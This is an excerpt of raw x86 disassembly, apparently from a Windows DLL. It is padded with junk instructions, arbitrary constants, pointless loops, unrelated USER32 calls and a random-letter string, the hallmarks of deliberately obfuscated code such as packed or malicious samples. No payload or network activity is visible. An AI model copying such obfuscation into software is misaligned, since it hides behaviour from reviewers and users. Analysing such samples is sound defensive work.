jl 0x1003f25c
cmp dword [ebp - 0x18], ebx
jne 0x1003f2c7
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x18], eax
jne 0x1003f289
cmp dword [ebp - 0x2c], ebx
jne 0x1003f289
mov edx, ebx
mov eax, dword [ebp - 0x2c]
cmp edx, 0xffffffff
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setge cl
xor edx, edx
mov dword [ebp - 0x38], ecx
inc edx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x150]
mov dword [ecx + 4], eax
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ecx + 4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0x44]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov ecx, 0xf748bbe2
cmp ecx, eax
sbb eax, eax
xor ecx, ecx
neg eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
cmp eax, 0x638299fa
setne cl
mov dword [ebp - 0x34], ecx
inc dword [ebp - 0x44]
cmp dword [ebp - 0x44], 0x1b
jl 0x1003f23f
lea ecx, [ebp - 0x150]
call fcn.10001e40
push 0x5c
pop eax
push 2
mov dword [ebp - 0x54], 0x5402eb00
mov ecx, ebx
mov byte [ebp - 0x50], 0x30
mov word [ebp - 0x64], ax
pop esi
cmp esi, 2
jne 0x1003f322
mov ecx, edi
mov esi, edi
jmp 0x1003f34b
movzx edx, byte [ebp + esi - 0x53]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x56]
movzx ecx, word [ebp + eax*2 - 0x64]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x54]
add ecx, edx
mov word [ebp + eax*2 - 0x64], cx
mov ecx, ebx
add esi, 2
cmp esi, 5
jb 0x1003f317
xor eax, eax
xor ecx, ecx
mov word [ebp - 0x62], ax
inc ecx
mov dword [ebp - 0x1c], ebx
jmp 0x1003f36b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x68], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1003f361
mov dword [ebp - 0x68], ebx
jmp 0x1003f384
mov dword [ebp - 0x34], 0x69aed23b
cmp dword [ebp - 0x34], ebx
jne 0x1003f38a
inc dword [ebp - 0x68]
cmp dword [ebp - 0x68], 0x1b
je 0x1003f375
xor eax, eax
mov dword [ebp - 0x114], 7
mov word [ebp - 0x128], ax
lea ecx, [ebp - 0x128]
lea eax, [ebp - 0x64]
mov dword [ebp - 0x118], ebx
push eax
call fcn.1000d7a4
push 0x5f
pop eax
mov byte [ebp - 4], 0xa
mov ecx, ebx
push 2
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x5c], 0x2e021000
mov byte [ebp - 0x58], 0xf4
mov word [ebp - 0x6c], ax
pop esi
cmp esi, 2
jne 0x1003f3db
mov ecx, edi
mov esi, edi
jmp 0x1003f404
movzx edx, byte [ebp + esi - 0x5b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x5e]
movzx ecx, word [ebp + eax*2 - 0x6c]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x5c]
add ecx, edx
mov word [ebp + eax*2 - 0x6c], cx
mov ecx, ebx
add esi, 2
cmp esi, 5
jb 0x1003f3d0
xor eax, eax
lea ecx, [ebp - 0x1d0]
mov word [ebp - 0x6a], ax
mov dword [ebp - 0x34], 0x7d490c4d
mov dword [ebp - 0x34], ebx
push 2
call fcn.10001de3
mov dword [ebp - 0x28], edi
push 2
mov dword [ebp - 0x1c], ebx
pop edi
jmp 0x1003f447
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1d0]
mov dword [eax + ecx*4], 0x2a4f402e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003f434
mov byte [ebp - 0x21], bl
cmp byte [ebp - 0x21], 0
je 0x1003f45d
push ebx
push ebx
call dword [sym.imp.USER32.dll_EnumWindows]
dec dword [ebp - 0x28]
lea ecx, [ebp - 0x1d0]
call fcn.10001e40
xor eax, eax
mov dword [ebp - 0x188], 7
mov word [ebp - 0x19c], ax
lea ecx, [ebp - 0x19c]
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x18c], ebx
push eax
call fcn.1000d7a4
mov byte [ebp - 4], 0xb
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x28], 0x49d3
cmp dword [ebp - 0x28], 0x4abb
jle 0x1003f4dc
mov esi, ebx
mov dword [ebp - 0x34], ebx
mov eax, ebx
mov ecx, 0x10078ef8
xor eax, esi
cdq
push edx
push eax
call fcn.10001c59
inc ebx
cmp ebx, 0x3ebf
jl 0x1003f4af
inc esi
push 0
pop ebx
cmp esi, 0x7bcd
jl 0x1003f4ac
push ebx
call dword [sym.imp.USER32.dll_DestroyAcceleratorTable]
mov dword [ebp - 0x34], 6
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x28], 0x47b9
jge 0x1003f520
mov edx, str.ferescw_ojxpseomd_raglzjg_zvdb_pxwmrgenn_jrmvv_riqd
mov ecx, 0x10078ef8
call fcn.10003ae1
jmp 0x1003f520
xor ecx, ecx
mov dword [ebp - 4], 0xb
inc ecx
mov dword [ebp - 0x20], ebx
jmp 0x1003f5be
mov dword [ebp - 0x28], 0x8b9dbea5
mov dword [ebp - 0x34], 6
mov dword [ebp - 0x1c], ebx
jmp 0x1003f552
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfc], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 4
jl 0x1003f545
cmp dword [ebp - 0xf0], ebx
jne 0x1003f569
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
xor edx, edx
sub ecx, eax
imul ecx, dword [ebp - 0x20]
mov eax, dword [ebp - 0xf0]
cmp eax, ecx
mov eax, dword [ebp - 0xf0]
setle dl
sub edx, eax
je 0x1003f58f
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xf4]
neg eax
sbb eax, eax
xor ecx, ecx
neg eax
inc ecx
add eax, 0xcbec0f79
imul eax, dword [ebp - 0x20]
cmp ecx, eax
sbb eax, eax
inc eax
mov dword [ebp - 0x34], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xc
jg 0x1003f532
mov dword [ebp - 0x20], ebx
cmp dword [ebp - 0x20], 0xb
jge 0x1003f5e9
xor esi, esi
inc esi
mov dword [ebp - 0x6c], ebx
mov dword [ebp - 0x18], 0xb0b02971
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], ebx
jmp 0x1003f65a
xor ecx, ecx
inc ecx
push ecx
lea ecx, [ebp - 0x1c4]
call fcn.10001de3
xor esi, esi
mov dword [ebp - 0x1c], ebx
inc esi
jmp 0x1003f610
mov ecx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c4]
mov dword [eax + ecx*4], 0x71808adc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1003f5fd
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
push 8
pop ecx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setg cl
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x1c4]
call fcn.10001e40
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xb
jge 0x1003f5e6
jmp 0x1003f5d4
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x110], 0xac54c975
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1003f649
cmp dword [ebp - 0x18], ebx
jne 0x1003f780
mov eax, dword [ebp - 0x18]
xor ecx, ecx
mov eax, dword [ebp - 0x18]
cmp eax, 0x4eea
setle cl
add ecx, dword [ebp - 0x18]
jne 0x1003f780
mov dword [ebp - 0x20], 0x88eb9876
mov dword [ebp - 0x20], 0xb4e4faa4
mov dword [ebp - 0x20], 0xfffffffc
jmp 0x1003f7e3